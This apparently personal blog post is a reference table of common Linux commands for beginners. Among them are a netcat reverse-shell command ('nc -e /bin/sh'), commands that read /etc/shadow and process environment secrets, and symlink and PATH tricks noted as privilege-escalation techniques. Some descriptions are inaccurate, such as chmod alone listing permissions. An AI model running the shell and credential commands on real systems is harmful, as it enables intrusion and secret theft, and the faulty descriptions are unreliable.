Essential Linux Commands


If you using google before running each and every Linux command and you finding it intricate to get comfortable with Linux terminal then you are not the only one. Most people find difficult to get accustomed with the CLI because of large number of Linux commands which are difficult to memorize. 
In this post I have compiled the list of most commonly used Linux command which will help to get started with Linux command line interface. Use this as the reference until you start feeling comfortable with them.
List of commonly used Linux Commands
Command
Description
pwd
Get the current working directory
ls
List of all the files/folders in current directory
ls /
List of all the files/folders in root directory
ls -la
list of all the files (hidden also) with permission
cd /
Navigate to root directory
cd /[directory name]/
Navigate to a particular directory in the root
cd ..
Navigate 1 directory back. (Click of back button in windows)
cd ../..
Navigate back 2 directories

mkdir [Directory name]

Create new directory

rmdir [Directory name]
Remove directory(only if directory is empty)
rm [file name]
Remove a file
rm –r [Directory name]
Remove folder containing file(s)
nano [filename]
ctrl+o+y
Ctrl+x
Create a new file using nano text editory
Save a file in nano editor
Exit from nano editor
touch [filename]
Create a empty file
ls > file1
Overwrite the file with output of ls(or any other) command
ls >> file1
Append to the file
sort -r
Sort in reverse order
sort -n
Sort the number
sort -M
Sort by month
ls | grep [keyword][location of file]
Output of ls command is given as input to grep. grep search for a particular string (by default in current directory)
grep -r
Search recursively by going into sub folders
grep -i
Search by ignoring cases
cat /etc/os-release
Get the OS version
diff file1 file2
Shows the difference between two files
ifconfig
ip addr (in some distros)
Get IP address
uname -a
Get system information
file <file name>
Check the file type
cat /etc/passwd
Get list of all the users in the system
cat /etc/shadow
Get list of hashed password of all the users in the system
whereis [command name]
Search a command
which [executable file]
Find the path of executable file
/bin/bash
Run bash shell
printenv
Print all the environment variables
cat /proc/self/environ
export VARIABLE="value"
Set the value of environment variable
/etc/resolv.conf 
Change DNS configuration
/var/www 

Directory generally where web applications are located
nc -vv -l -p [Port]
Open a socket to listen for incoming connection
vv : more verbose
-l  : listnening
-p : port
nc -e /bin/sh [IP] [Port]
Connecting to netcat service running on other system and open the reverse shell
/etc/init.d/apache2 restart
Restart apache web server
ln -s /bin/bash[link to file] ps[new symbolic link]
Symbolic link to existing file(used in privilege escalation attacks)
export PATH=.:$PATH
Add current location to executable path
find . -name [file name]
Find a file in current and sub-directories
find /home -name '*.jpg'
Find all .jpg files in the /home and sub-directories
find . -name "*.jpg" -delete  
Find and delete all .jpg files in current and sub-directories
alias p="pwd"
Using alias for a command. Now p will give output of pwd for the current session
tar -xvzf community_images.tar.gz
Unzip a file
f: this must be the last flag of the command, and the tar file must be immediately after. It tells tar the name and path of the compressed file.
z: tells tar to decompress the archive using gzip
x: tar can collect files or extract them. x does the latter.
v: makes tar talk a lot. Verbose output shows you all the files being extracted.

ps aux
Get list of running processes
passwd [username]
Reset password
ifconfig -a
List all the network adapter settings along with the interface
sudo dhclient eth0
Resolves the issue if IP address in not assigned automatically at the particular interface. (Here eth0)
sudo shutdown -h now
Shutdown the system
sudo reboot
Reboot the system
man or [command] --help
Get the help for a particular command
chmod [file name]
Get the list of permissions associated with a file
chmod +x [file name]
Make a file executable
cp [dest1][dest2]
Copy a file from dest1 to dest2
mv [dest1][dest2]
Cut a file from dest1 to dest2 (Also used to rename the file)
kill [process id]
Kill a process using process id (process id is obtained using ps command)
history
List of all the commands used in past by the current user
dpkg --get-selections
Get the list of packages installed
service [service name] start
Start any service
netstat -antp
Get the list of all(-a) the open tcp sockets(-t) along with its details like numeric local and foreign address (-n) and process (-p)

Things to note

📃 '-' symbol along with any Linux command is used to specify the options associated with any command. The option is specified as an alphabet. Multiple alphabet followed by '-' denotes that multiple options are used together.
For e.g. 
ls will list down list of all the files in current directory
ls -a will list down all the files along with the hidden directory
ls -l will list down all the files with permissions
📃 Two or more command options can be used together
For e.g ls -la or ls -l -a will list down all the files including hidden files/directories with their respective permission level.
📃 '--' is used to specify the full name of the command. e.g --help

📃 Output format of /etc/passwd along with the expaination
[1:2:3:4:5:6:7]: root:x:0:0:root:/root:/bin/bash
1. root: Account username.
2. x: Placeholder for password information. The password is obtained from the "/etc/shadow" file.
3. 0: User ID. Each user has a unique ID that identifies them on the system. The root user is always referenced by user ID 0.

4. 0: Group ID. Each group has a unique group ID. Each user has a "primary" group that is used as the group by default. Again, the root group's ID is always 0.

5. root: Comment field. This field can be used to describe the user or user's function. This can be anything from contact information for the user, to descriptions of the service the account was made for.

6. /root: Home directory. For regular users, this would usually be "/home/username". For root, this is "/root".

7. /bin/bash: User shell. This field contains the shell that will be spawned or the command that will be run when the user logs in.

📃 Output format of chmod along with the explaination
permissions may be r(read), write(write), x(execute)
[permissions to owner of file][permissions to the group to which owner belongs][permissions to any other user on the system]

Though there are several other commands, these are some of commands which are frequently used. Keep this as the handy reference for future use. Do comment your suggestions about the post. I will be happy to receive the feedback. Also share if you find it useful.

Follow me on twitter @PiyushSaurabh07  to get the notifications of my new posts in future.

Happy Learning 😊

Comments

Post a Comment